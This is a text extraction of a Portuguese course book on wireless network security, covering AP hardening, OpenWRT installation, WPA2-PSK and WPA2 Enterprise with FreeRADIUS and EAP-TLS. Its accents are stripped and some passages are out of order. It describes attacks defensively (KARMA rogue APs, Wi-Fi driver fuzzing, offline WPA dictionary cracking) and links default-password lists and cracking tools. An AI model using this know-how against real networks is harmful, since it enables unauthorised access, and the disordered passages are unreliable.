Case Labels
Nmeros de portas VLAN
5
Tagging
Figura 9.4 Arquitetura do WRT54GS.
4
vlan1
vlan0
Switch
Por intermdio do diagrama da Figura 9.4 e de comandos de administrao tpicos de Linux,
para Managed muda sua funo para o cliente. Essa opo interessante quando se deseja transformar o AP naquilo que se costuma chamar de extensor um dispositivo que possui uma interface.
Instalao passo a passo

1. Verifique se seu AP compatvel:
11 WRT54G/GS v5.x no so compatveis.

2. Escolha o firmware correto:
11 SquashFS o recomendado.
163
Para mais informaes sobre a arquitetura interna do AP, que varia conforme o fabricante e o modelo em questo, consulte a documentao de OpenWRT: OpenWRTdocs: Configuration 2. Network Configuration.
de uma interface de rede sem fio e de um processador que os conecta. A LAN que, w Ethernet, por padro, engloba WLAN e LAN em bridge, passa a ser separada da WAN que, no contexto do AP, o backbone ao qual ele conectado. A LAN representada pela interface vlan0 e a WAN, pela interface vlan1. A interface sem fio pode ser manipulada, tal como uma interface de uma estao Linux, pelo dispositivo eth1. Nesse ponto, lembre-se da configurao de uma estao Linux: o modo Master o que confere ao dispositivo a funcionalidade de AP. Alterar o modo da interface de rede do AP
possvel entender a arquitetura interna do AP. No caso de WRT54GS, trata-se de um switch
3. Selecione o mtodo de instalao:
11 HTTP. 22 No utilize o modo HTTPS. 22 Conexo com AP por intermdio da interface LAN. 11 TFTP. A instalao do OpenWRT simples, mas deve ser feita com muita cautela (no ser reali zada nas prticas deste curso). Uma falha no procedimento pode ser o suficiente para um AP bricked ou seja, inutilizvel. A instalao comea com algo simples: determinar se o AP permite a instalao do OpenWRT, seja pelos recursos de memria necessrios ou pela verso do hardware. Lembre-se de que os APs Linksys WRT54G/GS da verso 5 no permitem a instalao de OpenWRT at o momento. WRT54GS a verso em que estamos nos baseando aqui compatvel com OpenWRT. Uma vez determinada a compatibilidade, hora de selecionar a verso que se deseja instalar. Existem diversas imagens de firmware disponveis no site do OpenWRT, e aquela considerada como padro est no diretrio bin (Index of /whiterussian/newest/). A verso micro oferece quantidade reduzida de pacotes disponveis logo aps o flashing do firmware novo, inclusive sem interface grfica administrativa. Devido aos recursos que temos no WRT54GS v3, essa opo no se faz necessria. A ltima etapa na escolha do firmware decidir entre dois sistemas de arquivos: SquashFS ou JFFS2. Recomenda-se a utilizao de SquashFS que, apesar de ser um filesystem que permite somente leitura, proporciona a impresso de um FS que permite escrita por meio de uma partio secundria JFFS2. Essa partio, que permite somente leitura, tem uma utilidade interessante: recuperar facilmente arquivos originais da instalao. Os modos de instalao mais comuns so pela interface web e por TFTP. recomendado que se utilize este ltimo modo, embora exija que a varivel de boot_wait da NVRAM esteja ativada (boot_wait=on) o que no constitui padro em todos os equipamentos. Optaremos aqui pelo modo de instalao pela interface grfica, um modo por meio do qual se obtm mais sucesso.
w
Mais informaes sobre a instalao por TFTP podem ser obtidas em: Installing OpenWRT via TFTP.
164
Instalao do firmware pela interface administrativa web
Figura 9.5 Upload do firmware.
O modo de instalao por TFTP no possvel em todos os casos; por isso, ilustraremos a instalao atravs da interface web. Alguns cuidados devem ser tomados antes de efetuar o upload do firmware selecionado: 11 Certifique-se de que a fonte de energia esteja bem instalada e de que a energia esteja estvel. Falta de energia durante o processo pode resultar em um AP bricked. 11 Conecte a estao ao AP por meio da rede cabeada, em uma das portas LAN disponveis (no a porta WAN). Defina um endereo esttico na mesma rede do endereo do AP (192.168.1.1) 192.168.1.100 com Subnet mask 255.255.255.0, por exemplo. 11 Certifique-se de que a conexo com a interface administrativa do AP no esteja sendo feita por meio da rede sem fio. A maneira mais simples de fazer isso desabilitar a interface 802.11 da estao. 11 Certifique-se de que a conexo com o AP no esteja sendo feita com o servidor HTTPS do dispositivo. Se for o caso, habilite novamente HTTP. Uma vez seguidas todas estas recomendaes, seu AP estar pronto para sofrer flashing. Em
seguida, pressione o boto Upgrade para prosseguir. A utilizao dos LEDs levemente alterada no OpenWRT. Dispositivos com o LED DMZ indicaro que o processo terminou, da seguinte forma: 11 O LED Power pisca e acende novamente no incio do boot; 11 O processo de boot ter terminado quando o LED DMZ se apagar.
165
166
11 Configurao ps-boot. 11 Configurao do AP por meio da interface web. 11 Configurao de uma WLAN WEP, WPA e WPA2 Personal (PSK). O objetivo deste Roteiro de Atividades instalar um AP (configurado de maneira segura) para uma rede modelo Personal, baseada em uma chave pr-compartilhada (PSK) WEP, WPA ou WPA2, alm das demais funcionalidades de segurana oferecidas pelo AP (MAC filters). Utilizaremos a interface web do firmware instalado pelo fabricante, e acompanharemos a configurao de um AP. possvel experimentar configuraes pelo emulador da interface administrativa do Linksys WRT54G, disponvel em: http://stevehorbachuk.com/linksys 11 Usurio: admin 11 Senha: admin No Captulo 10, concluiremos o curso com conceitos de WPA2 (802.11i), 802.1x/RADIUS e Extensible Authentication Protocol (EAP), que sero seguidos por um upgrade no AP que ser configurado com a implantao de uma WLAN em modelo Enterprise.
Atividade 9.1 Configuraes gerais de desempenho e segurana

Sempre que recebermos um novo AP, devemos verificar se a verso do firmware a mais recente. O firmware o Sistema Operacional do seu AP, muitas vezes uma distribuio Linux dedicada a gerenciar o AP. No caso de Linksys isso pode ser feito em: http://www.linksys.com/ Procure pela pgina do produto e pela opo firmware. Tenha em mos os dados do hardware, disponveis na etiqueta localizada na parte inferior do aparelho. Voc deve procurar por modelo e verso do hardware (hardware version, h/w version).
Figura 9.6 Localizao da etiqueta.
WRT54Gv5v6_1.02.5.002_fw.bin
A verso instalada no AP normalmente exibida direita, no topo da interface web. Se voc constatar que a verso disponvel mais recente que a verso instalada em seu AP, faa a instalao. As configuraes persistem depois da atualizao do firmware, mas por segurana faa um backup em arquivo pela opo Administration Config Management.
167
Exemplo de arquivo de firmware:
Antes de realizar o upload do firmware: 1. Conecte seu desktop em uma das portas Ethernet. Em hiptese alguma realize a atuali zao atravs de um link 802.11, porque no seguro. Se esse processo for interrompido, existe a possibilidade de danos irreparveis. 2. Configure um IP fixo no desktop, na mesma rede local do AP. Normalmente um IP como 192.168.1.100 adequado. A atualizao muito importante. Existem verses que permitem, por exemplo, a confi gurao de parmetros de um AP sem a necessidade de senha. Assim, um usurio com o laptop associado ao AP capaz de alterar a senha da interface administrativa e obter controle sobre a rede. Configuraes adicionais: 11 Defina o time zone correto para que os logs sejam registrados adequadamente. Normal mente os APs sincronizam seu relgio automaticamente depois de ligados internet com sucesso. Essa opo est disponvel nos aparelhos Linksys em Setup Basic Setup. Na aba Administration: 11 Altere a senha administrativa (muito importante). Existem diversas listas de senhas padro disponveis na internet. Uma das listas a do grupo Phenoelit: http://www.phenoelit-us.org/dpl/dpl.html 11 Habilite somente HTTPS, se possvel. Assim a captura da senha administrativa dificultada. 11 Desabilite a opo Wireless Access Web. Dessa forma, o AP poder ser administrado somente pela porta Ethernet, ou seja, necessrio o acesso fsico. 11 Desabilite a opo Remote Management. Dessa forma voc no permite que a administrao seja feita a partir da interface WAN, que normalmente fica em contato com a internet. 11 Desabilite Universal Plug and Play (UPnP). 11 Em Configuraes adicionais wireless (Wireless Advanced Wireless Settings): se o AP tiver a opo AP Isolation, habilite-a. Essa opo impede a comunicao entre clientes associados ao AP, inibindo atividades maliciosas.
Atividade 9.2 Configurando um AP com WPA ou WPA2 Personal

Nesta atividade, configuraremos um dos Access Points fornecidos pelo instrutor com um nvel de segurana aceitvel para redes pessoais e de pequenas empresas, navegando pela interface web de configurao. Configure o AP como WPA2 Personal, utilizando AES como protocolo de cifragem. Defina uma chave WPA2 compartilhada utilizando os critrios de segurana vistos durante o curso. Escolha uma senha robusta para evitar ataques de dicionrios. Uma senha longa e que use
todos os caracteres ASCII (smbolos, nmeros, maisculas, minsculas) sua nica proteo. Verifique com o Kismet se a configurao est correta.
168
Atividade 9.3 Configuraes extras de segurana e desempenho

Em administrao, altere o SSID default. Esse tipo de medida especialmente importante para redes WPA Personal, j que o ataque depende do SSID. Valores padro auxiliam o atacante. 11 Escolha um canal de frequncia que no esteja sendo utilizado por outro AP, na rea de alcance, com uma separao de canais o maior possvel para os vizinhos. 11 Configure o AP para utilizar o MAC Filters. Coloque apenas a sua estao na lista de ende reos MAC permitidos e verifique a conexo. Verifique com um colega se um cliente com um MAC diferente consegue se conectar ao AP. 11 Desabilite o broadcast de SSID e verifique se houve perda de conectividade. Lembre-se de que essa no uma medida de segurana, porque no oculta sua rede. Observe o que muda no trfego quando este parmetro habilitado. 11 Desabilite os protocolos que no so necessrios (ex.: IEEE 802.11b), caso todas as placas de sua rede utilizem 802.11g. Para melhor desempenho, configure a interface em modo 802.11b apenas (aba Wireless Basic Wireless Settings). 11 Configure a potncia do transmissor rdio em um valor suficiente para a rea de cobertura desejada ou planejada em site survey. Um AP configurado de maneira segura no precisa ter seu sinal contido.
169
170
10
Implantando uma WLAN segura (parte 2)
objetivos
Apresentar conceitos de arquitetura de autenticao; mostrar conceitos de autenticao 802.1x e de sua implantao open source, alm de FreeRADIUS; ensinar a implantao de uma WLAN segura baseada em RADIUS, WPA2 e EAP-TLS, bem como em mtodo EAP e certificados digitais.
conceitos
EAP-TLS; FreeRADIUS; configurao WPA2 com RADIUS.
Introduo
No Captulo 9, conclumos a instalao de um AP com WPA2-PSK, segurana suficiente para um usurio domstico ou microempresa. Com essa implementao, no necessria a instalao de um servidor de autenticao, alm de estar disponvel em qualquer AP comprado nos ltimos dois anos. Embora WPA2-PSK sofra do mesmo problema de WEP, a necessidade de uma chave compartilhada torna superiores seus mecanismos de segurana.
Nvel atual de segurana

AP configurado com WPA2-PSK. Vantagens: 11 Segurana suficiente para usurio domstico. 22 J existem ataques conhecidos contra WPA. 11 No necessrio servidor de autenticao. 11 Possvel mesmo sem OpenWRT. Desvantagens: 11 Chave compartilhada: mesma chave para todos os usurios, segredo mantido por pouco tempo. 11 Trocar PSK nos clientes trabalhoso.
q
171
WPA foi criado pela Wi-Fi Alliance como resposta aos problemas de WEP. Para isso, intro duziu apenas parte (TKIP em vez de CCMP) do padro 802.11i, que ainda estava em desen volvimento. Hoje, nem mesmo WPA-PSK, uma soluo vigente para WEP at 2004, constitui garantia de segurana, pois ferramentas como coWPAtty so capazes de quebrar a chave pelo ataque de dicionrio off-line. As desvantagens de WPA2 so as mesmas de qualquer sistema com senhas compartilhadas: o risco presente de vazamento para usurios no autorizados. Outro aspecto negativo do uso de PSK a dificuldade de distribuio de chaves junto aos clientes, um processo manual e que dificulta a troca peridica de chaves.
Ataque de dicionrio Consiste na cifragem das palavras de um dicionrio e de comparaes com os arquivos de senhas de usurios.
Arquitetura de autenticao
IEEE 802.1x Port Based Network Access Control. Servidor de autenticao externo. 11 FreeRADIUS. 22 Implementao de RADIUS (RFC 2865). EAP-TLS como mtodo EAP. 11 Extensible Authentication Protocol (EAP). 22 RFC 3748. 11 Necessidade de Infraestrutura de Chaves Pblicas (ICP). 11 Necessidade de certificados no servidor RADIUS e nos clientes (autenticao mtua). Para que se implemente 802.11i em sua totalidade o que tambm conhecido como
Robust Secure Network (RSN) , preciso ir alm de WPA-PSK. Para isso, introduzimos mais um elemento na infraestrutura: o servidor de autenticao 802.1x. O padro 802.1x no define o tipo de servidor de autenticao backend que deve ser utili zado, mas RADIUS pode ser considerado o padro de fato. Existem diversas implemen taes de RADIUS, mas trataremos apenas da opo open source FreeRADIUS. Com ele, possvel implantar RADIUS tanto como um servidor externo quanto no prprio AP. O 802.1x usa o protocolo Extensible Authentication Protocol (EAP), que permite diversos esquemas de autenticao: smart cards, Kerberos, chaves pblicas, entre outros. O foco do curso est no mtodo EAP-TLS, que usa os protocolos de autenticao otimizados, pro vidos pelo protocolo EAP para autenticao, para um esquema de segurana ainda mais seguro, quando associado com WPA2. O papel de Transport Layer Security (TLS), usado para diversas aplicaes como web e e-mail, o de prover autenticao mtua, negociao de algoritmos de criptografia com integridade protegida e troca de chaves entre cliente e servidor RADIUS, evitando ataques como man-in-the-middle. O EAP-TLS tem apenas uma desvantagem: a necessidade de uma Infraestrutura de Chaves Pblicas (ICP), uma vez que necessria a presena de certificados no servidor de autenticao e no suplicante.
172
Rede sem o
Servidor de autenticao (RADIUS)
Au
1
thentica
t or
Figura 10.1 Arquitetura de autenticao de 802.1x.
Supplicant
Internet ou outros recursos LAN
1. Supplicant solicita ao Authenticator (AP) acesso rede. AP solicita identificao ao Supplicant. Neste ponto, apenas trfego EAP permitido. 2. Processo de autenticao tem incio, utilizando EAP atravs de um tnel TLS. O Authenticator repassa as credenciais para o Authentication Server. 3. Caso a autenticao tenha sucesso, Supplicant obtm acesso ao recurso de rede. A arquitetura de autenticao de 802.1x composta basicamente de trs elementos: Supplicant, Authenticator e Authentication Server. O papel do Supplicant exercido pelos clientes, o de Authenticator exercido pelo AP e o de Authenticator Server, pelo servidor FreeRADIUS. Primeiro o Supplicant solicita ao Authenticator (AP) acesso rede. Em seguida, o AP solicita as credenciais do Supplicant. Nesse ponto, apenas trfego EAP (mais precisamente, EAP encapsulation over LAN EAPOL) permitido entre Supplicant e Authenticator. Somente aps esses passos o processo de autenticao iniciado, utilizando EAP atravs de um tnel TLS. Finalmente, o Authenticator repassa as credenciais para o Authentication Server. Caso a autenticao tenha sucesso, Supplicant obtm acesso ao recurso de rede. bom lembrar que a segurana da rede fica a cargo de WPA2 aps a autenticao: 802.1x entra em ao somente nas autenticaes inicial e peridicas (determinadas pelo AP) para garantir a troca segura de chaves. Outra observao importante que o tnel TLS pode ser no formado diretamente entre cliente e Authentication Server (RADIUS): no aplicvel quando usado FreeRADIUS.
802.1x e FreeRADIUS
11 FreeRADIUS como Authentication Server. 11 Implementao open source de RADIUS para Unix. 11 Suporte a diversas fontes de autenticao. 22 Local (mais comum), /etc/passwd, LDAP, PAM, MySQL e outros SGBD.
173
11 Suporte a diversos tipos de mtodos EAP: 22 EAP-TTLS. 22 EAP-TLS. 22 LEAP. 22 PEAP.
Por que EAP-TLS?

Autenticao mtua por certificados digitais, no sofre com vulnerabilidades na autenticao por tnel. 11 Ataques Man-in-the-Middle (MITM). A posse do certificado condio para o acesso. Suporte a EAP-TLS nos principais Sistemas Operacionais. 11 Nativo: MAC OS X, Windows 2000 SP4, Windows XP, Windows Mobile 2003 e supe riores, Windows CE 4.2. 11 Utilitrio wpa_supplicant: Linux e BSD.
Embora imponha a complexidade de se manter uma ICP (Infraestrutura de Chaves Pblicas), EAP-TLS ainda considerado um dos tipos de EAP mais seguros. Tanto clientes quanto servi dores de autenticao usam pares de chaves pblica ou privada para autenticar usurios. Uma das vantagens desse tipo EAP a falta de necessidade de um diretrio de usurios: as credenciais do usurio passam a ser seu certificado e uma senha (opcional, dependendo da implantao). Assim, a tarefa de administrar usurios se concentra na ICP, a mesma usada para login na rede (single-sign-on), certificados para e-mail e outras aplicaes. Para negar acesso a um usurio, basta que se revogue seu certificado, a tarefa de manuteno de uma Certificate Revogation List (CRL), parte de uma ICP estabelecida. Outro ponto positivo de EAP-TLS o amplo suporte oferecido pelas principais plataformas de cliente, notadamente Linux, BSD e Windows.
Desvantagens de EAP-TLS
Depende de uma ICP bem implantada. 11 Recomendvel para distribuio e gerenciamento adequados de chaves. 11 Smart cards tornam autenticao mais fcil para usurios. Divulgao de identidade nos certificados. 11 Certificados de Cliente e Servidor so transmitidos em texto claro. 11 Informaes divulgadas sobre dispositivos, organizao e sobre os prprios certificados. 11 Possibilidade de ataques de engenharia social.
Ter uma ICP bem implantada condio bsica para uma implantao bem-sucedida desse tipo de EAP. Armazenar os certificados na forma de smart cards pode ser uma opo inte ressante para tornar o uso de certificados mais simples para o usurio final. Essa tecnologia tambm diminui o risco de acesso indevido rede, no caso de o atacante ter acesso a um cliente com certificado instalado. A necessidade de uma ICP no exatamente uma desvan tagem de EAP-TLS, mas sim um fator que adiciona complexidade ao esquema de segurana que desencoraja muitas organizaes a adot-lo.
174
Esse esquema de segurana, entretanto, tem uma vulnerabilidade: divulgao de informaes. Tanto o certificado do cliente quanto do servidor so enviados em texto claro, divulgando informaes sobre os certificados. A posse dessas informaes no til para um ataque integridade das conexes, mas pode ajudar na coleta de informaes que precedem um ataque de engenharia social. A transmisso de certificados em claro pela rede, embora parea uma falha de segurana, prtica comum em protocolos de segurana consagrados, como SSL ou o prprio TLS. Na prtica, no implantaremos uma ICP, uma vez que isso est fora do escopo do curso. Para demonstrar um cenrio com WPA2 e EAP-TLS, sero gerados manualmente um par de certificados para o cliente e outro para o servidor, sem a presena de uma infraestrutura de distribuio de chaves conforme tipicamente encontrada em uma ICP.
Concluso
WPA2 Enterprise com EAP-TLS. 11 Ainda o mecanismo EAP mais seguro. 11 Pode ser associado a smart cards. 11 Controle do acesso rede sem fio. 11 Trfego cifrado entre cliente e AP. 22 Entre AP e rede de distribuio, depende da aplicao. Segurana tradicional nos clientes deve receber ateno. 11 Personal firewall, Antivrus, Anti-spyware e aplicao de correes de segurana. WPA2, por si s, ainda um bom mecanismo de segurana, mesmo usado numa configu -
rao com chave compartilhada (WPA2-PSK). Embora esse nvel de segurana seja suficiente para empresas no que diz respeito integridade e confidencialidade dos dados trafegados, a autenticao se torna mais consistente quando WPA2 Enterprise implementada em sua totalidade, com o uso de 802.1x e de uma arquitetura de autenticao. bom lembrar que, uma vez conectado rede, o cliente est sujeito aos mesmos problemas de segurana de estaes da rede cabeada: worms, explorao de vulnerabilidades e spywares, entre outras ameaas existentes. importante manter o sistema atualizado com as ltimas verses e protegido com antivrus e anti-spyware atualizados, alm de um firewall
Saiba mais: Best EAP for an enterprise wireless LAN e Guidelines for Securing Wireless Local Area Networks (WLANs) do National Institute of Standards and technology (NIST).
oferece trfego cifrado apenas entre cliente e AP, ou seja, na rede cabeada (rede de distri buio) o trfego pode ser observado. Para garantir trfego cifrado at o destino, possvel usar um proxy com HTTPS ou um proxy sobre uma VPN (Virtual Private Network). Seu cliente pode estar seguro dentro do domnio da sua rede sem fio, mas no usando outras redes. Um exemplo de cenrio possvel seria aquele de um cliente conectado a um hotspot (Vex, T-Mobile etc.), que no implementa isolamento de trfego entre os clientes, permitindo a propagao de worms e a explorao de vulnerabilidades por parte de outros clientes.
175
w Outra questo que deve ser considerada que um AP com WPA2 e EAP-TLS implementados
pessoal bem configurado.
Cenrio atual
11 Segurana no AP hoje possvel. 11 Novo alvo est nos clientes. 11 Ferramentas que se passam pela rede qual o cliente quer se conectar, seja ela qual for: 22 Ferramenta KARMA, de Dino Dai Zovi. 22 802.11 Protocol Fuzzing. 33 Explorao de vulnerabilidades nos drivers das interfaces 802.11 Black Hat 2006/DEFCON 14. 33 Firewall pessoal irrelevante. 33 A atualizao dos drivers da interface Wi-Fi fundamental.
Do ponto de vista do AP, possvel dizer que as redes sem fio esto muito seguras. O novo alvo de ataques est em dispositivos Bluetooth (802.15.1) e em clientes Wi-Fi. Ferramentas como KARMA disponvel para Linux e compatvel com interfaces de rede Atheros e driver MadWifi permitem a simulao de qualquer rede com a qual um cliente queira se conectar. Dessa forma, se um cliente tenta se conectar a um AP com SSID ESR, KARMA simula uma rede com as mesmas caractersticas para levar o cliente a se conectar ao atacante. Uma vez conectado, o cliente pode fornecer dados interessantes para o atacante, como credenciais do servidor de e-mail IMAP/SMTP/POP, Instant Messaging (ICQ, Skype) ou servios normalmente configurados para login automtico por grande parte dos usurios. Outra oportunidade criada por um ataque desse tipo a explorao de vulnerabilidades no corrigidas no cliente. Outro tipo de ataque que tem sido motivo de muita preocupao o ataque ao driver da interface Wi-Fi. Isso possvel com uma tcnica chamada fuzzing de protocolo que consiste em testar a interface com parmetros no previstos pelo padro IEEE 802.11. Campos do quadro de gerenciamento com mais contedo do que a especificao determina, entre outros casos de teste, podem causar buffer overflow, entre outros efeitos na interface Wi-Fi. Os pesquisadores Jon Johnny Cache Ellch e Dave Maynor divulgaram, superficialmente, nas conferncias hacker Black Hat 2006 e DEFCON 14, parte de vulnerabilidades que afetam drivers de interfaces Wi-Fi em notebooks Apple. A demonstrao da vulnerabilidade mostrava o pesquisador obtendo shell root remoto no cliente atacado no nvel do driver; a presena de um firewall pessoal, nesse caso, demonstrou ser irrelevante. Os administradores de rede podem tirar algumas concluses importantes: rede sem fio segura envolve tambm clientes com dispositivos tradicionais de segurana de rede e com drivers dos dispositivos atualizados.
176
Atividade 10.1 Autenticao RADIUS
Nesta atividade, configuraremos o AP e o cliente para utilizao do protocolo WPA2 Enterprise. O protocolo 802.1x ser usado para a autenticao atravs do mtodo EAP-TLS. O servidor de autenticao remota ser o FreeRADIUS, rodando sob um Linux Fedora Core 6, previamente instalado e configurado em nosso ambiente de laboratrio. Os seguintes passos aps a instalao do FreeRADIUS no servidor foram feitos: 11 Configurao da senha compartilhada com o AP; 11 Definio da porta que o servidor estar escutando (normalmente 1812); 11 Gerao de certificados para cada aluno e servidor; 11 Definio das contas dos alunos e senhas a serem divulgadas pelo instrutor; 11 Instalao dos certificados no servidor e nos desktops. Essa pequena infraestrutura foi criada apenas para que os alunos tenham a oportunidade de trabalhar com esse tipo de configurao, considerada hoje uma das mais seguras. A implantao correta de EAP-TLS envolve uma Infraestrutura de Chaves Pblicas (ICP), o que est fora do escopo deste curso.
Atividade 10.2 Configurao do AP com WPA2 Enterprise

Nesta atividade, configuraremos seu AP para utilizar WPA2 Enterprise, com EAP-TLS e RADIUS. Atravs da interface de configurao web do AP, configure o AP para WPA2 Enterprise e criptografia AES. Configure o IP e a porta do servidor RADIUS a ser utilizada (normalmente 1812). Insira a chave compartilhada (shared secret) divulgada pelo instrutor, que ser usada na autenticao do AP com o servidor RADIUS. Na prtica, podemos utilizar alguns softwares, como o Password Amplifier, para gerar uma chave compartilhada forte.
177
Atividade 10.3 Testando a autenticao

Verifique as opes de configurao de sua interface sem fio no Windows, para associao atravs do WPA2, autenticao 802.1x e mtodo EAP-TLS.
Propriedades do certificado:
Teste a autenticao associando-se ao AP. Observe a troca de pacotes atravs do Kismet.
Atividade 10.4 Arquivos de configurao do RADIUS

Este item possui apenas carter informativo, caso o aluno queira se aprofundar sobre a configurao de servidores RADIUS, assunto que est fora do escopo do curso. Para fazer com que o servio RADIUS sempre suba ao inicializar o Sistema Operacional do servidor Linux, execute:
# chkconfig radiusd on
Todos os arquivos de configurao do RADIUS esto localizados em /etc/raddb. Dentre eles destacam-se: 11 radiusd.conf : Arquivo geral de configurao. 11 eap.conf : arquivo de configurao das diretivas EAP a utilizar.
178
11 clients.conf : descrio e credenciais dos diferentes dispositivos que consultam o RADIUS (APS, NAS etc.) 11 users: arquivo onde esto as credenciais dos usurios da rede. Para criar uma Autoridade Certificadora (CA) e o certificado, pode-se usar os scripts contidos em: http://www.alphacore.net/contrib/nantes-wireless/eap-tls-HOWTO.html
# cd /etc/raddb/certs
11 CA.root: cript de criao da CA. 11 CA.server: script de criao dos certificados para o servidor (Fully Qualified Domain Nome FQDN). 11 CA.client: script de criao de certificados para cada usurio. No confundir com clients.conf do RADIUS. 11 Xpextensions: OID para EAP-TLS. 11 Copiar os arquivos root.der (certificado da CA) e <usurio>.p12 (chave privada e certificado do cliente). Para mais informaes, acesse:
# man radiusd
179
180
Bibliografia
11 Aircrack-ng http://www.aircrack-ng.org 11 Aircrack-ptw http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/ 11 AirPcap: The USB 2.0 Wireless Capture Adapter for Windows that enables Wireless Capture with Wireshark http://www.cacetech.com/products/airpcap.htm 11 ANATEL: Resoluo n 506 de 1 de julho de 2008 http://www.anatel.gov.br/ 11 Bluetooth http://www.bluetooth.com 11 CoWPAtty http://wirelessdefence.org/Contents/coWPAttyMain.htm 11 Daily Wireless http://www.dailywireless.org/ 11 FLUHRER, Scott ; MANTIN, Itsik ; SHAMIR, Adi. Weaknesses in the Key Scheduling Algorithm of RC4 http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf 11 GT Rede Mesh http://www.rnp.br/pd/gts2005-2006/mesh.html 11 Host AP driver for Intersil Prism2/2.5/3, hostapd and WPA Supplicant http://hostap.epitest.fi/ 11 How to Setup a Capture http://wiki.wireshark.org/CaptureSetup 11 John the Ripper password cracker http://www.openwall.com/john/ 11 KARMA Wireless Client Security Assessment Tools http://www.theta44.org/main.html 11 Linux wireless LAN support http://linux-wless.passys.nl/ 11 Linux WPA/WPA2/IEEE 802.1X Supplicant http://hostap.epitest.fi/wpa_supplicant/ 11 Linux WPA/WPA2/IEEE 802.1X Supplicant http://hostap.epitest.fi/wpa_supplicant/ 11 MadWifi http://madwifi.org/ 11 Microsoft Windows Silent Adhoc Network Advertisement 11 MPL/GPL drivers for the Wavelan IEEE/Orinoco and others http://www.hpl.hp.com/
Bibliografia
http://www.nmrc.org/pub/advise/20060114.txt
181
11 Muni Wireless http://www.muniwireless.com/ 11 Nessus http://www.nessus.org 11 NIST Computer Security DRAFT Publications http://csrc.nist.gov/publications/drafts.html 11 Padres do grupo IEEE 802.11 http://grouper.ieee.org/groups/802/11/ 11 Project IEEE 802.11 Task Group w: Protected Management Frames http://grouper.ieee.org/groups/802/11/Reports/tgw_update.htm 11 Recomendaes Wi-Fi Alliance http://www.wi-fi.org 11 San Francisco TechConnect http://www.sfgov.org/site/tech_connect_page.asp 11 SANS ISC Handlers Diary February 22nd 2005 (Wireless Standards) http://isc.sans.org/diary.php?date=2005-02-22 11 SANS ISC Handlers Diary November 10th 2005 (More 802.11 soup) http://isc.sans.org/diary.php?storyid=837 11 Secure works black hat coverage: senior secure works researcher exposes vulnerabilities in Wireless Device Drivers at Black Hat Conference http://www.secureworks.com/newsandevents/blackhatcoverage.html 11 Status of Project IEEE 802.11 Task Group W (Protected Management Frames) http://grouper.ieee.org/groups/802/11/Reports/tgw_update.htm 11 TCPdump/libpcap http://www.tcpdump.org/ 11 Technet Script Center: Scripting Tools and Utilities http://www.microsoft.com/technet/scriptcenter/createit.mspx 11 The IEEE 802.16 Working Group on Broadband Wireless Access Standards http://grouper.ieee.org/groups/802/16/ 11 The Linux-WLAN Project http://www.linux-wlan.org/ 11 Tim Newsham: WLAN Tools (wep_crack) http://lava.net/~newsham/wlan/ 11 Understanding 802.11 Frame Types http://www.wifiplanet.com 11 WepAttack http://wepattack.sourceforge.net/ 11 WiMAX Forum http://www.wimaxforum.org 11 WinPcap http://www.winpcap.org/ 11 Wireless Tools for Linux http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ 11 Wireless Tools for Linux http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html
11 Wireshark http://www.wireshark.org/ 11 Wireshark Display Filter Reference: IEEE 802.11 wireless LAN http://wireshark.org/docs/dfref/w/wlan.html 11 WRIGHT, Joshua. Best EAP for an enterprise wireless LAN. NetworkWorld.com http://www.networkworld.com/columnists/2006/062606-wirelesssecurity.html
182
Ronaldo Vasconcellos formado em Anlise de Sistemas (PUC Campinas), com especializao em redes (IC Unicamp) e certificaes GIAC Certified Incident Handler (GCIH) e GIAC Assessing and Auditing Wireless Networks (GAWN). Trabalha com segurana computacional desde 2002 (seis anos na rea de Resposta a Incidentes Computacionais), e desde 2010 na rea de pesquisa em Ameaas Cibernticas e Cibercrime, com foco no Brasil e Ibero-Amrica.
O curso tem por objetivo capacitar o participante para a realizao da segurana do ambiente wireless da sua organizao. Sero ensinados os fundamentos de radiofrequncia e identificados os principais protocolos e normas envolvidas na comunicao Wi-Fi. Com nfase em redes IEEE 802.11a/b/g/n, sero apresentados os riscos que ameaam este tipo de rede, e tcnicas para mitig-los com uso de ferramentas baseadas em Linux e Windows. Sero desenvolvidas as competncias para a estruturao de uma rede sem fio de forma segura e atendendo a todos os requisitos necessrios para impedir os principais ataques. O aluno ser ainda familiarizado com ferramentas livres para verificao da rede e realizao de auditorias de segurana. Este livro inclui os roteiros das atividades prticas e o contedo dos slides apresentados em sala de aula, apoiando profissionais na disseminao deste conhecimento em suas organizaes ou localidades de origem.
LIVRO DE APOIO AO CURSO
ISBN 9788563630308
9 788563 630308

Segurança em Redes Sem Fio

Uploaded by

Document Information

Original Title

Copyright

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Segurança em Redes Sem Fio

Uploaded by

Copyright:

Segurana em

Redes sem Fio

Redes sem Fio

Redes sem Fio

Rio de Janeiro Escola Superior de Redes 2013

Escola Superior de Redes

Escola Superior de Redes

1. Histria, padres e fundamentos de radiofrequncia

3. Auditoria em redes sem fio (parte 1)

4. Auditoria em redes sem fio (parte 2)

5. Redes rogue e ataques DoS

8. Sistemas de deteco de intruses (IDS) em redes WLAN

9. Implantando uma WLAN segura (parte 1)

10. Implantando uma WLAN segura (parte 2)

Escola Superior de Redes

Convenes utilizadas neste livro

Os fundamentos de radiofrequncia, Matemtica RF, organizaes e hotplug.

O que rede sem fio?

Captulo 1 - Histria, padres e fundamentos de radiofrequncia

Exerccio de nivelamento 1 e Histria, padres e fundamentos de radiofrequncia

Classificao de redes por rea de cobertura

Captulo 1 - Histria, padres e fundamentos de radiofrequncia

Os sete principais papis da WLAN

rsticas das ondas de rdio.

Ganho e perda de sinal

ngulo de incidncia igual ao ngulo de reexo i r

i ray box r A imagem parece estar por trs do espelho

em torno de uma aresta

a uma abertura estreita

a uma grande distncia

Ar gua Profundidade aparente Profundidade real Imagem do objeto

Segurana em Redes sem Fio

r (em metros) = 17.32 x

(em Km) (em GHz)

r (em ps) = 72.05 x

(em milhas) (em GHz)

Figura 1.4 LOS e a Zona Fresnel.

Equivalent Isotropically Radiated Power (EIRP)

Exerccio de fixao 1 e Fundamentos de radiofrequncia

Implementaes de Spread Spectrum

Direct Sequence Spread Spectrum (DSSS)

Orthogonal Frequency Division Multiplexing (OFDM)

Upper U-NII Bands: 4 Carriers in 100 MHz / 20 MHz Spacing

Figura 1.7 Imagem que ilustra as portadoras em 50 GHz.

Lower Band Edge

Upper Band Edge

Exerccio de fixao 2 e Tecnologias de transmisso

